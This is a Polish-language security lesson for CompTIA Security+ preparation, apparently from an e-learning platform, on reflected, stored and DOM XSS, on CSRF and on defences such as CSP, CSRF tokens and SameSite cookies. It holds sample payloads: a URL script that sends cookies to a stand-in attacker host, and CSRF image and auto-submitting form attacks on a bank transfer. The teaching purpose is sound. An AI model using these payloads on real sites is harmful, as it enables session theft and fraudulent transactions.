Cross-Site Scripting (XSS) i CSRF
Zrozumieją Państwo działanie odbitego, przechowywanego i opartego na DOM XSS, a także ataków CSRF, oraz poznają zabezpieczenia na poziomie przeglądarki, które je blokują.
Cross-Site Scripting (XSS) i CSRF to bezpłatna lekcja Cloud & IT Cert Prep na CoddyKit. To lekcja 2 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Cloud & IT Cert Prep, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Cloud & IT Cert Prep zawiera 4 lekcji w sumie.
Czym jest Cross-Site Scripting?
Cross-Site Scripting (XSS) to luka typu injection po stronie klienta, w której atakujący wstrzykuje złośliwe skrypty do stron internetowych wyświetlanych innym użytkownikom. W przeciwieństwie do wstrzyknięcia SQL, którego celem jest serwer, XSS atakuje przeglądarkę ofiary. Gdy przeglądarka renderuje skrypt atakującego, wykonuje go z takimi samymi uprawnieniami jak prawidłowe skrypty strony, co umożliwia przejęcie sesji, kradzież danych uwierzytelniających i dostarczanie złośliwego oprogramowania.
Wyjaśnienie Reflected XSS
Reflected XSS występuje, gdy złośliwy skrypt zostaje umieszczony w adresie URL, a serwer natychmiast „odsyła” go w odpowiedzi HTTP bez odpowiedniego kodowania. Ofiara zostaje nakłoniona — często za pośrednictwem odsyłacza phishingowego — do kliknięcia spreparowanego adresu URL, co powoduje wykonanie skryptu atakującego w jej przeglądarce. Reflected XSS jest nietrwały — wykonuje się tylko wtedy, gdy ofiara kliknie złośliwy odsyłacz.
# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>Stored XSS i DOM-Based XSS
Stored (persistent) XSS umieszcza złośliwy skrypt w bazie danych aplikacji — na przykład w komentarzu lub wpisie na forum. Skrypt zostaje wykonany w przeglądarce każdego użytkownika, który wyświetli te treści, dlatego stored XSS jest znacznie groźniejszy niż reflected XSS. DOM-based XSS występuje w całości w przeglądarce, gdy JavaScript po stronie klienta odczytuje dane kontrolowane przez atakującego z modelu DOM (np. fragment adresu URL), a następnie w niebezpieczny sposób zapisuje je z powrotem na stronie.
Zabezpieczenia przed XSS: kodowanie i CSP
Podstawowym zabezpieczeniem przed XSS jest kodowanie danych wyjściowych: przed wyrenderowaniem znaków w przeglądarce należy zamienić znaki specjalne na odpowiadające im encje HTML (<, >, &). Nagłówek Content Security Policy (CSP) ogranicza skrypty, które mogą zostać wykonane, zapewniając istotną dodatkową warstwę ochrony. Po stronie serwera należy również stosować walidację danych wejściowych (z użyciem listy dozwolonych wartości).
# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'
# Blocks inline scripts and restricts external script sourcesCzym jest Cross-Site Request Forgery?
Cross-Site Request Forgery (CSRF) wykorzystuje zaufanie, jakim witryna obdarza przeglądarkę uwierzytelnionego użytkownika. Atakujący nakłania przeglądarkę ofiary do wysłania niechcianego uwierzytelnionego żądania do witryny, w której ofiara jest zalogowana. Ponieważ przeglądarka automatycznie dołącza pliki cookie sesji, serwer docelowy uznaje żądanie za prawidłowe. Typowe ataki CSRF służą do przekazywania środków, zmiany adresów e-mail lub modyfikowania ustawień konta.
Jak działa atak CSRF
Wyobraźmy sobie, że użytkownik jest zalogowany do swojego banku pod adresem bank.com. Atakujący wysyła mu wiadomość e-mail z ukrytym znacznikiem obrazu: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. Po otwarciu wiadomości przeglądarka automatycznie ładuje adres obrazu, wysyłając żądanie przelewu wraz z plikiem cookie sesji bankowej ofiary. Bank przetwarza je jako prawidłowe żądanie.
<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
<input type='hidden' name='to' value='attacker_account' />
<input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>Zabezpieczenia przed CSRF: tokeny i SameSite
Najskuteczniejszym zabezpieczeniem przed CSRF jest token CSRF — unikatowa, nieprzewidywalna wartość umieszczana w każdym formularzu i weryfikowana po stronie serwera. Ponieważ atakujący nie może odczytać tokenu z innego źródła (zgodnie z zasadą tego samego źródła), sfałszowane żądania nie zawierają prawidłowego tokenu i są odrzucane. Atrybut pliku cookie SameSite (SameSite=Strict lub Lax) również uniemożliwia przeglądarkom wysyłanie plików cookie w żądaniach między witrynami.
# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly
# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />XSS a CSRF: najważniejsze różnice
Ataki XSS i CSRF są często mylone, ale mają różne cele. XSS wstrzykuje złośliwy skrypt wykonywany w przeglądarce ofiary, wykorzystując zaufanie użytkownika do witryny. CSRF podrabia żądania wysyłane z przeglądarki ofiary do zaufanej witryny, wykorzystując zaufanie witryny do przeglądarki użytkownika. XSS może posłużyć do kradzieży tokenów CSRF, skutecznie łącząc obie luki w jeden atak.
Flagi plików cookie HttpOnly i Secure
Flagi plików cookie zapewniają istotne zabezpieczenia przed XSS. Flaga HttpOnly uniemożliwia JavaScriptowi dostęp do pliku cookie za pośrednictwem document.cookie, utrudniając kradzież tokenu sesji nawet w przypadku wystąpienia XSS. Flaga Secure gwarantuje, że pliki cookie będą przesyłane wyłącznie przez HTTPS, zapobiegając ich przechwyceniu w niezaszyfrowanych kanałach. Obie flagi należy ustawiać dla wszystkich plików cookie sesji jako element wielowarstwowej ochrony.
Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600Testowanie luk XSS
Testerzy bezpieczeństwa wykrywają XSS, wprowadzając testowe ładunki do każdego pola wejściowego, parametru adresu URL, nagłówka HTTP i pola JSON. Prostym testem jest <script>alert(1)</script> — jeśli pojawi się okno alertu, oznacza to potwierdzenie XSS. Narzędzia takie jak Burp Suite automatyzują skanowanie pod kątem XSS, a OWASP ZAP zapewnia bezpłatne skanowanie aktywne. Wykrywanie DOM-based XSS wymaga analizy JavaScriptu po stronie przeglądarki, a nie badania odpowiedzi serwera.
Rzeczywiste skutki XSS
Ataki XSS spowodowały poważne szkody w świecie rzeczywistym. Robak Samy (2005) rozprzestrzenił się w serwisie MySpace w ciągu 20 godzin, wykorzystując stored XSS do samoczynnego zainfekowania ponad miliona profili. Ataki XSS mogą służyć do kradzieży tokenów sesji i całkowitego przejmowania kont, przekierowywania użytkowników do witryn phishingowych, dostarczania exploitów przeglądarkowych (drive-by downloads), a także modyfikowania treści stron w celu wyświetlania wybranym użytkownikom fałszywych informacji.
Szybki test
Sprawdź swoją znajomość zagadnień z CompTIA Security+ (SY0-701) omówionych w tej lekcji.
Podsumowanie lekcji
W tej lekcji dowiedział się Pan / dowiedziała się Pani, że: XSS wstrzykuje skrypty do stron wyświetlanych innym użytkownikom, CSRF nakłania uwierzytelnione przeglądarki do wysyłania sfałszowanych żądań, a kodowanie danych wyjściowych, CSP, tokeny CSRF i atrybut plików cookie SameSite stanowią podstawowe zabezpieczenia. Następnie omówimy błędy uwierzytelniania i niezabezpieczoną deserializację.
Często zadawane pytania
Czy lekcja „Cross-Site Scripting (XSS) i CSRF” jest bezpłatna?
Tak — pełny tekst „Cross-Site Scripting (XSS) i CSRF” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Cloud & IT Cert Prep, przejdź na CoddyKit PRO. Kurs Cloud & IT Cert Prep zawiera 4 lekcji w sumie.
Co nauczysz się w „Cross-Site Scripting (XSS) i CSRF”?
Zrozumieją Państwo działanie odbitego, przechowywanego i opartego na DOM XSS, a także ataków CSRF, oraz poznają zabezpieczenia na poziomie przeglądarki, które je blokują. Ćwiczysz Cloud & IT Cert Prep z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.
Czy potrzebuję doświadczenia, aby zacząć Cloud & IT Cert Prep?
Nie wymagamy żadnego doświadczenia. Cloud & IT Cert Prep w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 2 z 4.
Ile czasu zajmuje lekcja „Cross-Site Scripting (XSS) i CSRF”?
Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.
Czy mogę pisać i uruchamiać kod w tej lekcji Cloud & IT Cert Prep?
Tak. Każda lekcja Cloud & IT Cert Prep zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.
Wszystkie lekcje w tym kursie
- Wstrzykiwanie SQL i poleceń
- Cross-Site Scripting (XSS) i CSRF
- Niesprawne uwierzytelnianie i niebezpieczna deserializacja
- Bezpieczny cykl wytwarzania oprogramowania, SAST i DAST